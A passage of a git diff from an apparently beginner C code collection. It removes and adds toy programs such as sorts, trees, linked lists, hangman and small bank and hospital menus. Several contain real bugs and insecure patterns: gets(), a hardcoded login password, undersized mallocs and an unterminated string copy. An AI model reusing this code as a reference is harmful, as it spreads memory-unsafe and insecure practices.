!= NULL) - { - ptr2=ptr2->right; - } - return ptr2; -} -struct Node* successor(struct Node *root) -{ - printf("\nenter the value whose successor has to be find:"); - int num; - scanf("%d",&num); - struct Node* find,*pa; - find=search(root,num); - if(find->right != NULL) - { - return min(find->right); - } - pa=find->parent; - while(pa != NULL && find==pa->right) - { - find=pa; - pa=pa->parent; - } - return pa; -} -struct Node* predecessor(struct Node* root) -{ - printf("\nenter the value whose predecessor has to be found:"); - int x; - scanf("%d",&x); - struct Node* find,*pa; - find=search(root,x); - if(find->left != NULL) - { - return max(find->left); - } - pa=find->parent; - while(pa!= NULL && pa->left==find) - { - find=pa; - pa=pa->parent; - } - return pa; -} -int Height( struct Node *p) { - int x; - int y; - if (p == NULL){ - return 0; - } - x = Height(p->left); - y = Height(p->right); - return x > y ? x + 1 : y + 1; -} -struct Node*Delete(struct Node *p, int key) { - struct Node* q; - - if (p == NULL){ - return NULL; - } - - if (p->left == NULL && p->right== NULL){ - p = NULL; - free(p); - return NULL; - } - - if (key < p->data){ - p->left = Delete(p->left, key); - } else if (key > p->data){ - p->right= Delete(p->right, key); - } else { - if (Height(p->left) > Height(p->right)){ - q = predecessor(p->left); - p->data = q->data; - p->left = Delete(p->left, q->data); - } else { - q = successor(p->right); - p->data = q->data; - p->right = Delete(p->right, q->data); - } - } - return p; -} - - - - -int main(){ - int n; - int size; - printf("Enter the number of values you wanna add:"); - scanf("%d",&size); - printf("Enter the numbers to be instered:"); - for(int i=0;idata); - -} diff --git a/Add Code Here/C/bubble sort.c b/Add Code Here/C/bubble sort.c deleted file mode 100644 index 97044a1dd5d..00000000000 --- a/Add Code Here/C/bubble sort.c +++ /dev/null @@ -1,35 +0,0 @@ -#include - -void swap(int* xp, int* yp) -{ - int temp = *xp; - *xp = *yp; - *yp = temp; -} - -void bubbleSort(int arr[], int n) -{ - int i, j; - for (i = 0; i < n - 1; i++) - for (j = 0; j < n - i - 1; j++) - if (arr[j] > arr[j + 1]) - swap(&arr[j], &arr[j + 1]); -} - -void printArray(int arr[], int size) -{ - int i; - for (i = 0; i < size; i++) - printf("%d ", arr[i]); - printf("\n"); -} - -int main() -{ - int arr[] = { 64, 34, 25, 12, 22, 11, 90 }; - int n = sizeof(arr) / sizeof(arr[0]); - bubbleSort(arr, n); - printf("Sorted array: \n"); - printArray(arr, n); - return 0; -} diff --git a/Add Code Here/C/countSort.c b/Add Code Here/C/countSort.c deleted file mode 100644 index f53729494c2..00000000000 --- a/Add Code Here/C/countSort.c +++ /dev/null @@ -1,62 +0,0 @@ -#include -#include - - -void display_array(int size, int a[]){ - for (int i = 0; i < size; i++) - { - printf("%d ", a[i]); - } - printf("\n"); -} - -int max_element(int array[], int count){ - int max=0; - for (int i = 0; i < count; i++) - { - - if(array[i]>max) - max=array[i]; - } - return max; -} - -int * countsort(int A[], int B[], int size){ - int max=max_element(A, size); - int C[max+1]; - for(int i=0; i<=max; i++){ - C[i]=0; - } - display_array(max+1, C); - for (int i = 0; i =0; i--) - { - B[C[A[i]]-1]=A[i]; - C[A[i]]-=1; - } - return B; -} -int main(){ - printf("Enter array size :\n"); - int size; - scanf("%d", &size); - int array[size]; - printf("Enter elements of array :\n"); - for (int i = 0; i < size; i++) - { - scanf("%d", &array[i]); - } - display_array(size, array); - int B[size]; - int *c=countsort(array, B, size); - display_array(size, c); - -} diff --git a/Add Code Here/C/countingSort.c b/Add Code Here/C/countingSort.c new file mode 100644 index 00000000000..e131593255b --- /dev/null +++ b/Add Code Here/C/countingSort.c @@ -0,0 +1,30 @@ +#include +#include +void printArray(int arr[], int N) { + for (int i = 0; i < N; i++) { + printf("%d ", arr[i]); + } + printf("\n"); +} + +int main(int argc, char *argv[]) { + int arr[] = {0, 1, 1, 3, 2, 5, 8, 2, 7, 3, 8, 9, 5, 9, 2, 9}; + int RANGE = 10; + int N = sizeof(arr)/4; + int count[RANGE] = {0}; + for (int i = 0; i < sizeof(arr)/sizeof(arr[0]); i++) { + count[arr[i]]++; + //printArray(count, RANGE); + } + for(int i = 1 ; i < RANGE ; i++){ + count[i] = count[i-1] + count[i]; + } + printArray(count, RANGE); + int brr[sizeof(arr)/4]; + for(int i = 0 ; i < sizeof(arr)/sizeof(arr[0]); i++) { + brr[--count[arr[i]]] = arr[i]; + } + printArray(arr , N); + printArray(brr, N); + return 0; +} diff --git a/Add Code Here/C/factorial.c b/Add Code Here/C/factorial.c deleted file mode 100644 index 45a1a39dea4..00000000000 --- a/Add Code Here/C/factorial.c +++ /dev/null @@ -1,17 +0,0 @@ -#include -long long int factorial (long long int n){ - if(n<0) - return 0; - if(n==0) - return 1; - else - return n*factorial(n-1); - } - -int main () { - long long int n, total; - scanf ("%lld", &n); - total = factorial(n); - printf ("%d\n", total); - return 0; -} diff --git a/Add Code Here/C/fibonacciSeries.c b/Add Code Here/C/fibonacciSeries.c deleted file mode 100644 index 79a54fd0852..00000000000 --- a/Add Code Here/C/fibonacciSeries.c +++ /dev/null @@ -1,26 +0,0 @@ -#include - -int main() -{ - int n, first = 0, second = 1, next, c; - - printf("Enter the number of terms:"); - scanf("%d", &n); - - printf("Fibonacci Series:", n); - - for (c = 0; c < n; c++) - { - if (c <= 1) - next = c; - else - { - next = first + second; - first = second; - second = next; - } - printf("%d, ", next); - } - - return 0; -} diff --git a/Add Code Here/C/floyd's_triangle.c b/Add Code Here/C/floyd's_triangle.c deleted file mode 100644 index 96d2a20f1cc..00000000000 --- a/Add Code Here/C/floyd's_triangle.c +++ /dev/null @@ -1,17 +0,0 @@ -#include -int main() -{ - int i,j,rows,num=1; - printf("Enter the number of rows"); - scanf("%d",&rows); - for(i=1;i<=rows;i++) - { - for(j=1;j<=i;j++) - { - printf("%3d",num); - num++; - } - printf("\n"); - } - return 0; -} diff --git a/Add Code Here/C/gamecount.c/gamecount.c b/Add Code Here/C/gamecount.c/gamecount.c deleted file mode 100644 index df2dd85c3c0..00000000000 --- a/Add Code Here/C/gamecount.c/gamecount.c +++ /dev/null @@ -1,113 +0,0 @@ -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -using namespace std; - -typedef long long ll; - -const ll mod = 98794607; -const ll Inf = 9000000000000000000ll; -const int Maxn = 10005; -const ll mod2 = 1012201; - -ll O[Maxn]; -ll A[Maxn]; -ll F[Maxn]; -ll qO[Maxn]; -ll qF[Maxn]; -ll inv[Maxn]; -int t, n, k; - -void gcd(int a, int &x, int b, int &y) -{ - if (a == 0) { x = 0; y = 1; } - else { - int xx, yy; gcd(b % a, xx, a, yy); - x = yy - b / a * xx; y = xx; - } -} - -int Inv(int a, int mod) -{ - int x, y; - gcd(a, x, mod, y); - x %= mod; - if (x < 0) x += mod; - return x; -} - -ll Mult(ll a, ll b, ll mod) -{ - if (a == 0 || b == 0) return 0; - if (a <= Inf / b) return a * b % mod; - if (a > b) swap(a, b); - ll res = 0; - while (a) { - if (a & 1) res = (res + b) % mod; - a >>= 1; b = (b + b) % mod; - } - return res; -} - -int main() -{ - O[0] = 1; - A[0] = F[0] = 1; - for (int i = 1; i < Maxn; i++) { - O[i] = O[i - 1]; - F[i] = F[i - 1]; - A[i] = F[i - 1]; - for (int j = 2; j <= i; j++) { - O[i] = (O[i] + O[j - 2] * O[i - j]) % mod; - F[i] = (F[i] + F[j - 2] * A[i - j]) % mod; - A[i] = (A[i] + A[j - 1] * F[i - j]) % mod; - } - A[i] = (A[i] + F[i]) % mod; - } - for (int i = 1; i < Maxn; i++) - inv[i] = Inv(i, mod2); - qO[0] = 1; - for (int i = 1; i + 2 < Maxn; i++) { - qO[i] = ll(2 * i + 1) * qO[i - 1]; - if (i >= 2) qO[i] = (qO[i] + ll(3 * i - 3) * qO[i - 2]); - qO[i] %= mod2; - qO[i] = Mult(qO[i], inv[i + 2], mod2); - } - qF[0] = 1; - for (int i = 1; i + 1 < Maxn; i++) { - qF[i] = 2 * ll(2 * i - 1) * qF[i - 1] % mod2; - qF[i] = Mult(qF[i], inv[i + 1], mod2); - } - ll m1 = Inv(mod, mod2), m2 = Inv(mod2, mod); - ll mod3 = mod * mod2; - for (int i = 1; i + 2 < Maxn; i++) { - ll a1 = O[i], a2 = qO[i]; - ll fir = Mult(Mult(a1, m2, mod3), mod2, mod3); - ll sec = Mult(Mult(a2, m1, mod3), mod, mod3); - O[i] = (fir + sec) % mod3; - - a1 = F[i], a2 = qF[i]; - fir = Mult(Mult(a1, m2, mod3), mod2, mod3); - sec = Mult(Mult(a2, m1, mod3), mod, mod3); - F[i] = (fir + sec) % mod3; - } - scanf("%d", &t); - while (t--) { - scanf("%d %d", &n, &k); - ll res; - if (k == 0) res = 0; - else if (k == 1) res = (O[n] - 1 + mod3) % mod3; - else res = (F[n] - 1 + mod3) % mod3; - printf("%lld\n", res); - } - return 0; -} diff --git a/Add Code Here/C/hangman.c b/Add Code Here/C/hangman.c deleted file mode 100644 index 2c64f9da661..00000000000 --- a/Add Code Here/C/hangman.c +++ /dev/null @@ -1,249 +0,0 @@ -//All these header files are needed to support code, or are they all there? -#include - -#include - -#include - -void showInput(int); - -//Typos are a cause of huge pain for every coder -int main(void) -{ - int score = 0; - int gameCount; - printf("\n\n Enter number of rounds of Guessing Game "); - scanf("%d",&gameCount); - int originalScore = gameCount; - - while(gameCount>0) - { - //every great statement should have a great ending, look out for them! - char inputWord[20], tempWord[20]; - char finalOutput[20]; - int wrongTry, matchFound = 0; - int counter = 0 , position = 0, winner = 1, length, trial; - char alphabetInput; - - system("clear"); - printf("\n\n !!!!!!!!!!!!!!!!!!!Welcome to the Guessing Game!!!!!!!!!!!!!!!!!\n\n\n"); - //Formatting and labeling always go hand in hand! - printf("\n\n Enter number of wrong attempts allowed: "); - scanf("%d",&trial); - printf("\nEnter any word in small letters and press ENTER"); - printf("\nEnter ==> "); - scanf("%s",inputWord); - printf("\nLets start ask your friend to play!!!"); - printf("\nPress Enter"); - getchar(); - //Semantics are not to be overlooked! - length = strlen(inputWord); - wrongTry = trial+1; - - - system("clear"); - - printf("\n\n You will get %d chances to guess the correct word", wrongTry+length); - printf("\n\n So help Alen and Joseph and get...set...GO..!!"); - - getchar(); - - printf("\nPress enter "); - - getchar(); - - system("clear"); - - printf("\n\t||===== "); - printf("\n\t|| | "); - printf("\n\t|| "); - printf("\n\t|| "); - printf("\n\t|| "); - printf("\n\t|| "); - - //Conditions have to met to achieve results :D - printf("\n\n The word has %d alphabets \n\n",length); - for(int i = 0; i < length ; i++) - { - finalOutput[i] = '_'; - finalOutput[length] = '\0'; - } - - //Declare your purpose, and you shall be rewarded! - for(int i = 0 ; i < length ; i++) - { - printf(" "); - printf("%c",finalOutput[i]); - - } - while(wrongTry != 0) - { - matchFound = 0; - printf("\n Enter an alphabet from a to z in small case!!"); - printf("\n\n\t Enter -> "); - - fflush(stdin); - - scanf("%c",&alphabetInput); - if(alphabetInput < 'a' || alphabetInput > 'z') - { - system("clear"); - printf("\n\n\t Wrong input, try again "); - matchFound = 2; - } - fflush(stdin); - //Proper separation is the key! - if (matchFound != 2) - { - for(counter=0;counter= 'a' && finalOutput[i] <= 'z' ) - { - continue; - } - else - { - finalOutput[i] = '_'; - } - } - - tempWord[position] = alphabetInput; - tempWord[length] = '\0'; - winner = strcmp(tempWord,inputWord); - printf("%s",tempWord); - printf("%s",inputWord); - printf("%d",winner); - } - } - - //Never forget your maths, else you'll be in trouble! - if(winner == 0) - { - score = score + 1; - printf("\n\n\t \t Nice You are the WINNER !!!!!"); - printf("\n\n\t The Word was %s ",inputWord); - printf("\n\n\n\n\t\tEASY HUH???\n\n"); - getchar(); - break; - } - - printf("\n\n\t"); - for(int i = 0 ; i < length ; i++) - { - printf(" "); - printf("%c",finalOutput[i]); - } - - getchar(); - if(winner == 0) - { - break; - } - }//end of while loop - - if(wrongTry <= 0) - { - printf("\n\n\t The Word was %s ",inputWord); - printf("\n\n\t Better luck next round"); - - } - gameCount = gameCount - 1; - } - - printf("\n\n\t The Game Score %d / %d", score, originalScore); - - getchar(); - return 0; - -}//end of main(); - - - -void showInput(int choice) - { - //Every story has a beginning and an ending, or does it? - - switch(choice) - { - - case 0: - printf("\n\t||===== "); - printf("\n\t|| | "); - printf("\n\t|| %cO/",'\\'); - printf("\n\t|| | "); - printf("\n\t|| / %c",'\\'); - printf("\n\t|| "); - break; - case 1: - system("clear"); - printf("\n\t||===== "); - printf("\n\t|| | "); - printf("\n\t|| %cO/",'\\'); - printf("\n\t|| | "); - printf("\n\t|| %c",'\\'); - printf("\n\t|| "); - break; - case 2: - system("clear"); - printf("\n\t||===== "); - printf("\n\t|| | "); - printf("\n\t|| %cO/",'\\'); - printf("\n\t|| | "); - printf("\n\t|| "); - printf("\n\t|| "); - break; - case 3: - system("clear"); - printf("\n\t||===== "); - printf("\n\t|| | "); - printf("\n\t|| %cO/",'\\'); - printf("\n\t|| "); - printf("\n\t|| "); - printf("\n\t|| "); - break; - case 4: - system("clear"); - printf("\n\t||===== "); - printf("\n\t|| | "); - printf("\n\t|| %cO ",'\\'); - printf("\n\t|| "); - printf("\n\t|| "); - printf("\n\t|| "); - break; - case 5: - system("clear"); - printf("\n\t||===== "); - printf("\n\t|| | "); - printf("\n\t|| O "); - printf("\n\t|| "); - printf("\n\t|| "); - printf("\n\t|| "); - break; - - return; - } -} diff --git a/Add Code Here/C/hospital2.c b/Add Code Here/C/hospital2.c deleted file mode 100644 index 3faeabd5b89..00000000000 --- a/Add Code Here/C/hospital2.c +++ /dev/null @@ -1,451 +0,0 @@ -#include -#include -#include - -void clrscr(void) -{ - system("cls()"); -} - -struct ad -{ - char name[30]; - char disease[30]; - int cabin,phone,age; -} x[100]; -int n,i,j=0,a=0,sum=0,g,flag,num; -void read (); -void write(); -void add(); -void view(); -void search(); -void edit(); -void del(); -void show(); -int main() -{ - read(); - int c,i,q; - printf("\n\nWelcome to Manipal Hospital Management System\n\n"); - int m,n; -//making out the pattern - - for(m=1; m<=4; m++) - { - for(n=1; n<=5; n++) - printf(" "); - for(n=1; n<=m-1; n++) - { - printf(" "); - } - for(n=1; n<=4-m+1; n++) - { - if(n==4-m+1 || m==1 || m==4) - printf("*"); - else - printf(" "); - } - for(n=1; n<=4-m+1; n++) - { - if(n==1 ||m==1 || m==4) - printf("*"); - else - printf(" "); - } - printf("\n"); - } - while(c!=6) - { - - printf("*Enter your choice*\n\n1. Add Information\n2. View Information\n3. Search\n4. Edit Information\n5. Delete Information\n6. Exit\n\nOption ="); - scanf("%d",&c);//choice for option - fflush(stdin);//making it clear - if(c==1)//add - { - system("cls"); - add(); - } - else if(c==2)//view - { - system("cls"); - view(); - } - else if(c==3)//search - { - system("cls"); - search(); - } - else if(c==4)//edit - { - system("cls"); - edit(); - } - else if(c==5)//delete - { - system("cls"); - del(); - } - else if(c==6) - { - write(); - return 0; - } - else - { - system("cls"); - printf("\n\nInvalid input , try again by using valid inputs"); - } - printf("\n\n"); - } - return 0; -} -void add() -{ - printf("\n\n"); - printf("Data already exists in the database = %d\n\n",num);//how many inputs - printf("How many entry do you want to add =\n"); - scanf("%d",&n); - sum=n+num; - - for(i=num,j=0; i -#include - -struct Node -{ - int data; - struct Node *next; -}; - -struct Node *head; - -void -Insert (int data) -{ - struct Node *temp = (struct Node *) malloc (sizeof (struct Node *)); - - - temp->data = data; - temp->next = NULL; - - if (head == NULL) - { - head = temp; - return; - } - - struct Node *temp2 = head; - while (temp2->next != NULL) - { - temp2 = temp2->next; - } - temp2->next = temp; -} - -void -Print () -{ - struct Node *temp = head; - while (temp != NULL) - { - printf (" %d", temp->data); - temp = temp->next; - } - printf ("\n"); - -} - - -int -main () -{ - head = NULL; - Insert (4); - Insert (6); - Insert (8); - Insert (2); - Print (); - - return 0; -} diff --git a/Add Code Here/C/knightwalk.c b/Add Code Here/C/knightwalk.c deleted file mode 100644 index d8291e2c058..00000000000 --- a/Add Code Here/C/knightwalk.c +++ /dev/null @@ -1,57 +0,0 @@ -public: -bool ans=false; -int arrx[8]={2,2,1,-1,-2,-2,1,-1}; -int arry[8]={1,-1,2,2,1,-1,-2,-2}; -bool valid(int x,int y,int N) -{ - if(x>=0 && x=0 && y>&visited,vector>&distance,int x,int y,int targetposX,int targetposY,int N) -{ - queue>q; - q.push({x,y}); - visited[x][y]=true; - while(q.size()>0) - { - pairp; - p=q.front(); - q.pop(); - int x=p.first; - int y=p.second; - if(x==targetposX && y==targetposY) - { - ans=true; - return; - } - for(int i=0;i<8;i++) - { - if(valid(x+arrx[i],y+arry[i],N) && visited[x+arrx[i]][y+arry[i]]==false) - { - distance[x+arrx[i]][arry[i]+y]=distance[x][y]+1; - visited[x+arrx[i]][y+arry[i]]=true; - q.push({x+arrx[i],y+arry[i]}); - } - } - } -} - - int minStepToReachTarget(vector&KnightPos, vector&TargetPos, int N){ - int knightposX=KnightPos[0]-1; - int knightposY=KnightPos[1]-1; - int targetposX=TargetPos[0]-1; - int targetposY=TargetPos[1]-1; - vector>visited(N,vector(N,false)); - vector>distance(N,vector(N,0)); - BFS(visited,distance,knightposX,knightposY,targetposX,targetposY,N); - if(ans==true) - { - return distance[targetposX][targetposY]; - } - return -1; - } -}; diff --git a/Add Code Here/C/largest_seclargest.c b/Add Code Here/C/largest_seclargest.c deleted file mode 100644 index 58a74b8f7bc..00000000000 --- a/Add Code Here/C/largest_seclargest.c +++ /dev/null @@ -1,28 +0,0 @@ -#include -int main() -{ - int arr[100], i, n, largest, sec_largest; - printf("Enter the size of an Array : \n"); - scanf("%d", &n); - printf("Enter the elements of an Array : \n"); - for (i = 0; i < n; i++) - { - scanf("%d", &arr[i]); - } - largest = arr[0]; - sec_largest = arr[1]; - for (i = 0; i < n; i++) - { - if (arr[i] > largest) - { - sec_largest = largest; - largest = arr[i]; - } - else if (arr[i] > sec_largest && arr[i] != largest) - { - sec_largest = arr[i]; - } - } - printf("Largest is = %d \nSecond Largest is = %d", largest, sec_largest); - return 0; -} \ No newline at end of file diff --git a/Add Code Here/C/linked-list.c b/Add Code Here/C/linked-list.c new file mode 100644 index 00000000000..3893f87bc01 --- /dev/null +++ b/Add Code Here/C/linked-list.c @@ -0,0 +1,78 @@ +#include +#include + +typedef struct s_stock_str +{ + int size; + char *str; + char *copy; +} t_stock_str; + +int ft_strlen(char *str) +{ + int i; + + i = 0; + while (str[i]) + i++; + return (i); +} + +char *ft_strcpy(char *src) +{ + char *dest; + int i; + + i = 0; + dest = malloc(sizeof(char) * ft_strlen(src)); + while (src[i]) + { + dest[i] = src[i]; + i++; + } + dest[i] = '\n'; + return (dest); +} + +struct s_stock_str create_item(char *str) +{ + t_stock_str current_item; + + current_item.size = ft_strlen(str); + current_item.str = str; + current_item.copy = ft_strcpy(str); + return (current_item); +} + +struct s_stock_str *ft_strs_to_tab(int ac, char **av) +{ + int current_word; + struct s_stock_str *ret; + + ret = malloc(sizeof(t_stock_str) * (ac + 1)); + current_word = -1; + while (++current_word < ac) + ret[current_word] = create_item(av[current_word]); + ret[current_word].size = 0; + ret[current_word].str = 0; + ret[current_word].copy = 0; + return (ret); +} + +int main(int c, char **v) +{ + struct s_stock_str *teste = ft_strs_to_tab(c, v); + int i = 0; + + while (i < (c + 1)) + { + + printf("%i\n", teste[i].size); + printf("%s\n", teste[i].str); + printf("%s\n", teste[i].copy); + printf("-----------------------\n"); + i++; + } + + return (1); +} \ No newline at end of file diff --git a/Add Code Here/C/main.c b/Add Code Here/C/main.c deleted file mode 100644 index 01db1f986f8..00000000000 --- a/Add Code Here/C/main.c +++ /dev/null @@ -1,46 +0,0 @@ -#include -#include -#include - -void selectSort(int *arr, size_t n, int (*cmp)(int, int)) -{ - for (size_t i = 0; i < n; ++i) - { - size_t min = i; - for (size_t j = i + 1; j < n; ++j) - { - if (cmp(arr[j], arr[min]) < 0) - { - min = j; - } - } - int tmp = arr[i]; - arr[i] = arr[min]; - arr[min] = tmp; - } -} - -int cmp(int a, int b) -{ - return a - b; -} - -int main(int argc, char **argv) -{ - srand(time(NULL)); - int *arr = (int *)malloc(sizeof(int) * 10); - for (int i = 0; i < 10; ++i) - { - arr[i] = rand() % 100; - } - for (int i = 0; i < 10; ++i) - { - printf("%d%c", arr[i], i == 9 ? '\n' : ' '); - } - selectSort(arr, 10, cmp); - for (int i = 0; i < 10; ++i) - { - printf("%d%c", arr[i], i == 9 ? '\n' : ' '); - } - return 0; -} diff --git a/Add Code Here/C/manojbank.c b/Add Code Here/C/manojbank.c deleted file mode 100644 index efd36fbf616..00000000000 --- a/Add Code Here/C/manojbank.c +++ /dev/null @@ -1,188 +0,0 @@ -#include -#include -#include - -void login(); // maximum 3 attempts -void menu(); -void checkbalance(); -void withdraw(); -void deposit(); -void proceed(); -float read(); -void write(float n); - -float total = 6000; - -void main() -{ - login(); -} - -void write(float n) -{ - FILE *fp; - fp = fopen("balance.txt","a"); - fprintf(fp,"\n%f",n); - fclose(fp); -} - - -float read() -{ - FILE *fp; - float n; - fp = fopen("balance.txt","r"); - if(fp == NULL) - { - printf("Internal Error!"); - exit(0); - } - while(fscanf(fp,"%f",&n) == 1); - fclose(fp); - return n; -} - -void proceed() -{ - char ch; - printf("\nPress Y to continue... "); - scanf(" %c",&ch); - system("cls"); - if(ch == 'Y' || ch == 'y') - { - menu(); - } - else - { - exit(0); - } -} - -void deposit() -{ - float da; - float n = read(); - printf("Enter Amount to Deposit : "); - scanf("%f",&da); - if(da<=10000) - { - total = total + da; - n += da; - printf("\nDeposited Amount = $%.2f\n",da); - printf("\nTotal Balance = $%.2f\n",n); - write(n); - } - else - { - printf("\nAmount must not be greater than 10k!\n"); - } -} - -void withdraw() -{ - float wa; - float n = read(); - printf("Enter Amount to Withdraw : "); - scanf("%f",&wa); - if(wa <= n) - { - if(wa <= 5000) - { - if((int)wa%500 == 0) - { - total = total - wa; - n -= wa; - printf("\nWithdraw Amount = $%.2f\n",wa); - printf("\nTotal Available Balance = $%.2f\n",n); - write(n); - } - else - { - printf("\nAmount must be Multiple of 500!\n"); - } - } - else - { - printf("\nAmount Exceeds Per Transaction Limit!\n"); - } - } - else - { - printf("\nInsufficient Balance!\n"); - } -} - -void checkbalance() -{ - printf("Your Total Balance is $%.2f",read()); -} - -void menu() -{ - int n; - printf("************* Welcome to Manoj International Bank ***************\n"); - printf("Options:\n1. Check Balance\n2. Withdraw\n3. Deposit\n4. Exit\n Select : "); - scanf("%d",&n); - system("cls"); - switch(n) - { - case 1: - - checkbalance(); - break; - case 2: - - withdraw(); - break; - case 3: - - deposit(); - break; - case 4: - - printf("Exit"); - break; - default: - printf("\nInvalid Option!\n"); - } - proceed(); -} - - -void login() -{ - char susr[20] = "manoj"; - char spwd[20] = "manoj@123"; - char usr[20],pwd[20]; - int i,flag=0; - for(i=1;i<=3;i++) - { - printf("Attempt Remaining %d\n",(4-i)); - printf("Enter your user Name : "); - gets(usr); - printf("Enter your user Password : "); - gets(pwd); - - if((strcmp(susr,usr)==0)&&(strcmp(spwd,pwd)==0)) - { - flag = 1; - printf("\nWelcome %s!\n\n\n",usr); - menu(); - } - else - { - flag = 0; - printf("\nLogin Failed!\n"); - } - } - - if(flag == 1) - { - printf("\nWelcome %s\n",usr); - } - else - { - - printf("\nYour Account is Locked!\n"); - } -} diff --git a/Add Code Here/C/maximum_subarray.c b/Add Code Here/C/maximum_subarray.c deleted file mode 100644 index 975b7c23c81..00000000000 --- a/Add Code Here/C/maximum_subarray.c +++ /dev/null @@ -1,51 +0,0 @@ -#include -#include -int crosssubsum(int a[], int low, int mid, int high) -{ - int leftsum = 0, rightsum = 0, sum = 0, i; - for (i = mid; i >= low; i--) - { - sum = sum + a[i]; - if (sum > leftsum) - leftsum = sum; - } - sum = 0; - for (i = mid + 1; i <= high; i++) - { - sum = sum + a[i]; - if (sum > rightsum) - rightsum = sum; - } - return leftsum + rightsum; -} -int maxsubsum(int a[], int low, int high) -{ - int mid, leftsum, rightsum, crosssum; - if (low == high) - return a[low]; - mid = (low + high) / 2; - leftsum = maxsubsum(a, low, mid); - rightsum = maxsubsum(a, mid + 1, high); - crosssum = crosssubsum(a, low, mid, high); - if (leftsum >= rightsum && leftsum >= crosssum) - return leftsum; - else if (rightsum >= leftsum && rightsum >= crosssum) - return rightsum; - else - return crosssum; -} -int main() -{ - - int n, a[10], i, low, high, maxsum; - printf("Enter the no. of Elements\n"); - scanf("%d", &n); - printf("Enter an Array of +ve and -ve No.\n"); - for (i = 0; i < n; i++) - scanf("%d", &a[i]); - low = 0; - high = n - 1; - maxsum = maxsubsum(a, low, high); - printf("Maximum Contiguous Sum = %d\n", maxsum); - return 0; -} \ No newline at end of file diff --git a/Add Code Here/C/merge_linklist.c b/Add Code Here/C/merge_linklist.c deleted file mode 100644 index 68b8abbc644..00000000000 --- a/Add Code Here/C/merge_linklist.c +++ /dev/null @@ -1,70 +0,0 @@ -// merge two linklist - -#include -#include -struct node { - int data; - struct node *next; -}; -struct node *first = NULL; -struct node *second = NULL; -struct node *list = NULL; -void insert(int data) { - struct node *link = (struct node*) malloc(sizeof(struct node)); - struct node *current; - link->data = data; - link->next = NULL; - if(data%2 == 0) { - if(first == NULL) { - first = link; - return; - } - else { - current = first; - while(current->next != NULL) - current = current->next; - current->next = link; - } - } - else { - if(second == NULL) { - second = link; - return; - } else { - current = second; - - while(current->next!=NULL) - current = current->next; - current->next = link; - } - } -} -void display(struct node *head) { - struct node *ptr = head; - while(ptr != NULL) { - printf(" %d\n",ptr->data); - ptr = ptr->next; - } -} -void combine() { - struct node *link; - list = first; - link = list; - while(link->next!= NULL) { - link = link->next; - } - link->next = second; -} -int main() { - int i; - for(i = 1; i <= 10; i++) - insert(i); - printf("First list: \n"); - display(first); - printf("Second list: \n"); - display(second); - combine(); - printf("Combined List :\n"); - display(list); - return 0; -} \ No newline at end of file diff --git a/Add Code Here/C/naive_matrixchain.c b/Add Code Here/C/naive_matrixchain.c deleted file mode 100644 index b8b2911ed7f..00000000000 --- a/Add Code Here/C/naive_matrixchain.c +++ /dev/null @@ -1,69 +0,0 @@ -/* A naive recursive implementation that simply -follows the above optimal substructure property */ -#include -#include -#include -#include -#include - -// Matrix Ai has dimension p[i-1] x p[i] for i = 1..n -int MatrixChainOrder(int p[], int i, int j) -{ - if (i == j) - return 0; - int k; - int min = INT_MAX; - int count; - - // place parenthesis at different places between first - // and last matrix, recursively calculate count of - // multiplications for each parenthesis placement and - // return the minimum count - for (k = i; k < j; k++) - { - count = MatrixChainOrder(p, i, k) + MatrixChainOrder(p, k + 1, j) + p[i - 1] * p[k] * p[j]; - - if (count < min) - min = count; - } - - // Return minimum count - return min; -} - -// Driver code -int main() -{ - //srand(time(0)); - FILE *fptr; - fptr = fopen("naive_mchain.txt", "w"); - fprintf(fptr,"n,avg_time_take_ms\n"); - for (int n = 3; n <= 22; n++) - { - float sum=0.0000,avg=0.0000; - for (int i = 0; i < 2; i++) - { - int a[n]; - for (int j = 0; j < n; j++) - { - a[j] = rand() % 10 + 1; - } - // printf("\nArray elements are : \n"); - // for (int j = 0; j < 6; j++) - // { - // printf("%d , ", a[j]); - // } - float start_time = clock(); - printf("\nMinimum number of multiplications is %d ", - MatrixChainOrder(a, 1, n - 1)); - printf("\n"); - float end_time = clock(); - sum=(end_time - start_time) * 1000 / CLOCKS_PER_SEC+sum; - printf("n is %d Run %d: %0.4fms\n", n, i + 1, (end_time - start_time) * 1000 / CLOCKS_PER_SEC); - } - avg=sum/2; - fprintf(fptr,"%d,%0.4f\n",n,avg); - } - fclose(fptr); - return 0; -} \ No newline at end of file diff --git a/Add Code Here/C/nqueens.c b/Add Code Here/C/nqueens.c new file mode 100644 index 00000000000..646591016e4 --- /dev/null +++ b/Add Code Here/C/nqueens.c @@ -0,0 +1,56 @@ +#include +#include + +int board[20], count; + +void print(int n) { + int i, j; + printf("\n\nSolution %d:\n\n", ++count); + + for (i = 1; i <= n; ++i) + printf("\t%d", i); + + for (i = 1; i <= n; ++i) { + printf("\n\n%d", i); + for (j = 1; j <= n; ++j) + { + if (board[i] == j) + printf("\tQ"); + else + printf("\t-"); + } + } +} + +int place(int row, int column) { + int i; + for (i = 1; i <= row - 1; ++i) { + if (board[i] == column) + return 0; + else if (abs(board[i] - column) == abs(i - row)) + return 0; + } + + return 1; +} + +void queen(int row, int n) { + int column; + for (column = 1; column <= n; ++column) { + if (place(row, column)) { + board[row] = column; + if (row == n) + print(n); + else + queen(row + 1, n); + } + } +} + +int main() { + int n, i, j; + printf("\n\nEnter number of Queens:"); + scanf("%d", &n); + queen(1, n); + return 0; +} \ No newline at end of file diff --git a/Add Code Here/C/numberGuessingGame.c b/Add Code Here/C/numberGuessingGame.c new file mode 100644 index 00000000000..d73ed85ccdd --- /dev/null +++ b/Add Code Here/C/numberGuessingGame.c @@ -0,0 +1,58 @@ +/* +Number guessing game +Created by Dinesh Deore +*/ + +#include +#include +#include + +int generateRandomNumber(int n) +{ + srand(time(NULL)); + return rand() % n; +} + +int main() +{ + int temp, n, num, count = 0; + temp = generateRandomNumber(100) + 1; + printf("Guess the number: "); + scanf("%d", &num); + + if (num == temp) + { + printf("yahhh! you guess the correct number that is %d\n", temp); + } + while (num != temp) + { + if (num > temp) + { + printf("Lower number please: "); + scanf("%d", &n); + num = n; + count++; + } + + if (num < temp) + { + printf("Higher number please: "); + scanf("%d", &n); + num = n; + count++; + } + + if (num == temp) + { + printf("\n-----------------------------------------------------"); + printf("\n yahhh! you guess the correct number that is %d\n\n", temp); + + break; + count++; + } + } + + printf(" number of guesses is: %d", count + 1); + printf("\n-----------------------------------------------------\n\n"); + return 0; +} diff --git a/Add Code Here/C/oddEven.c b/Add Code Here/C/oddEven.c deleted file mode 100644 index 2349e52391e..00000000000 --- a/Add Code Here/C/oddEven.c +++ /dev/null @@ -1,14 +0,0 @@ -#include -int main() 